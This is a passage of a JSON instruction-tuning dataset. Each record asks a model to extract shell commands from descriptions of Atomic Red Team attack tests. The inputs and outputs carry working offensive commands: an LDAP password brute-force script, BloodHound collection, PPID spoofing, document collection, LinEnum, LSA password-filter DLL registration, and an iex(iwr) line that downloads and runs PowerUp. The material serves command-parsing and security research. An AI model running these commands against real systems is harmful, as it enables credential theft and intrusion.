\\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For brute forcing an Active Directory domain user through LDAP with NTLM or Kerberos authentication, execute this command: \nif (\"#{auth}\".ToLower() -NotIn @(\"ntlm\",\"kerberos\")) {\n  Write-Host \"Only \\'NTLM\\' and \\'Kerberos\\' auth methods are supported\"\n  exit 1\n}\n\n[System.Reflection.Assembly]::LoadWithPartialName(\"System.DirectoryServices.Protocols\") | Out-Null\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\"#{domain}\",389)\n\n$passwordList = Get-Content -Path \"#{passwords_path}\"\nforeach ($password in $passwordList){\n  $credz = new-object System.Net.NetworkCredential(\"#{user}\", $password, \"#{domain}\")\n  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})\n  try {\n    Write-Host \" [-] Attempting ${password} on account #{user}.\"\n    $conn.bind()\n    # if credentials aren\\'t correct, it will break just above and goes into catch block, so if we\\'re here we can display success\n    Write-Host \" [!] #{user}:${password} are valid credentials!\"\n  } catch {\n    Write-Host $_.Exception.Message\n  }\n}\nWrite-Host \"End of bruteforce\"\n",
    "output": "{\"command_list\": [\"if (\\\"#{auth}\\\".ToLower() -NotIn @(\\\"ntlm\\\",\\\"kerberos\\\")) {\\n  Write-Host \\\"Only 'NTLM' and 'Kerberos' auth methods are supported\\\"\\n  exit 1\\n}\\n\\n[System.Reflection.Assembly]::LoadWithPartialName(\\\"System.DirectoryServices.Protocols\\\") | Out-Null\\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\\\"#{domain}\\\",389)\\n\\n$passwordList = Get-Content -Path \\\"#{passwords_path}\\\"\\nforeach ($password in $passwordList){\\n  $credz = new-object System.Net.NetworkCredential(\\\"#{user}\\\", $password, \\\"#{domain}\\\")\\n  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})\\n  try {\\n    Write-Host \\\" [-] Attempting ${password} on account #{user}.\\\"\\n    $conn.bind()\\n    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\\n    Write-Host \\\" [!] #{user}:${password} are valid credentials!\\\"\\n  } catch {\\n    Write-Host $_.Exception.Message\\n  }\\n}\\nWrite-Host \\\"End of bruteforce\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    SharpHound can be executed by importing the module and running this command, which handles data collection and compression while storing results in the temp directory: import-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpHound.ps1\"\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\ncatch { $_; exit $_.Exception.HResult}\nStart-Sleep 5\n",
    "output": "{\"command_list\": [\"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\\\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The test uses PowerShell to simulate Cobalt Strike's PPID spoofing capability, showing the spawned process information and launching calc.exe via these commands:\n. \"$PathToAtomicsFolder\\T1134.004\\src\\PPID-Spoof.ps1\"\n$ppid=Get-Process #{parent_process_name} | select -expand id\nPPID-Spoof -ppid $ppid -spawnto \"#{spawnto_process_path}\" -dllpath \"#{dll_path}\"\n",
    "output": "{\"command_list\": [\". \\\"$PathToAtomicsFolder\\\\T1134.004\\\\src\\\\PPID-Spoof.ps1\\\"\\n$ppid=Get-Process #{parent_process_name} | select -expand id\\nPPID-Spoof -ppid $ppid -spawnto \\\"#{spawnto_process_path}\\\" -dllpath \\\"#{dll_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To detect DCRat delay time tactics, you can analyze time synchronization patterns with the following command: W32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2",
    "output": "{\"command_list\": [\"W32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system will automatically collect .docx files by running the following command sequence: mkdir %temp%\\T1119_command_prompt_collection >nul 2>&1\ndir c: /b /s .docx | findstr /e .docx\nfor /R c:\\ %f in (*.docx) do copy /Y %f %temp%\\T1119_command_prompt_collection\n",
    "output": "{\"command_list\": [\"mkdir %temp%\\\\T1119_command_prompt_collection >nul 2>&1\\ndir c: /b /s .docx | findstr /e .docx\\nfor /R c:\\\\ %f in (*.docx) do copy /Y %f %temp%\\\\T1119_command_prompt_collection\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    LinEnum helps discover accounts, processes, and services while suggesting exploitation paths. Execute it with these commands: chmod +x #{linenum}\nbash #{linenum}\n",
    "output": "{\"command_list\": [\"chmod +x #{linenum}\\nbash #{linenum}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For registering a password filter DLL via PowerShell, which needs administrative privileges and a reboot to take effect, run this command:\nreg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ \"PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\"\n$passwordFilterName = (Copy-Item \"#{dll_path}\\#{dll_name}\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"\n$notificationPackagesValues = $lsaKey.GetValue(\"Notification Packages\")\n$notificationPackagesValues += $passwordFilterName\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\" \"Notification Packages\" $notificationPackagesValues",
    "output": "{\"command_list\": [\"reg.exe export HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\ \\\"PathToAtomicsFolder\\\\T1556.002\\\\lsa_backup.reg\\\"\\n$passwordFilterName = (Copy-Item \\\"#{dll_path}\\\\#{dll_name}\\\" -Destination \\\"C:\\\\Windows\\\\System32\\\" -PassThru).basename\\n$lsaKey = Get-Item \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\\\\"\\n$notificationPackagesValues = $lsaKey.GetValue(\\\"Notification Packages\\\")\\n$notificationPackagesValues += $passwordFilterName\\nSet-ItemProperty \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\\\\" \\\"Notification Packages\\\" $notificationPackagesValues\\n\"]}"
  },
  {
